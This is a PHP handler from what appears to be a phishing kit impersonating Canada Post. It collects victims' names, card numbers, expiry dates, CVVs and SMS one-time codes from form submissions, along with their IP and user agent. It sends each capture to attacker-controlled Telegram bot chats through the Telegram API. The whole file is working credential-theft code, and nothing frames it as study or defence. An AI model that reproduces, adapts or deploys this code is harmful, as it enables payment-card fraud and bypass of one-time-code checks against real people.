<?php
require "../main.php";
$host = $_SERVER['SERVER_NAME'];
$ipp =  $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$time = date("Y-m-d, H:i:s");

function post($data){
	if(empty(trim($data))){
		return "NO_DATA";
	}else{
		return htmlspecialchars($_POST[$data]);
	}
}


function sendBot($url){
	$ci = curl_init();
	curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ci,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ci, CURLOPT_URL, $url);
	$res =  curl_exec($ci);
	curl_close($ci);
	return $res;
	

}
 

if(isset($_POST['cc'])){
 
$_SESSION['cc'] = $_POST['cc'];
$_SESSION['dlv'] = @$_POST['fees'];

$telegram_content = urlencode("

[ CAPOST CC $ipp ]
Full name:   ".$_POST['name']."
Card number:   ".$_POST['cc']."
Exp:   ".$_POST['exp']."
Cvv:   ".$_POST['cvv']."

[ SYS INFO ]
IP: ".$ipp."
Time: ".$time."
User agent: ".$ua
);
 
	foreach($ids as $id){
	$url = "https://api.telegram.org/bot".$bot."/sendMessage?chat_id=".$id."&text=".$telegram_content;
	sendBot($url);
	}
 
}





if(isset($_POST['sms'])){
$telegram_content = urlencode("
[ CAPOST OTP $ipp ]
CODE : ".$_POST['sms']."

[ SYS INFO ]
VIC IP: ".$ipp."
Time: ".$time."
User agent: ".$ua);
 
foreach($ids as $id){
	$url = "https://api.telegram.org/bot".$bot."/sendMessage?chat_id=".$id."&text=".$telegram_content;
	sendBot($url);
	}
 
}

 
?>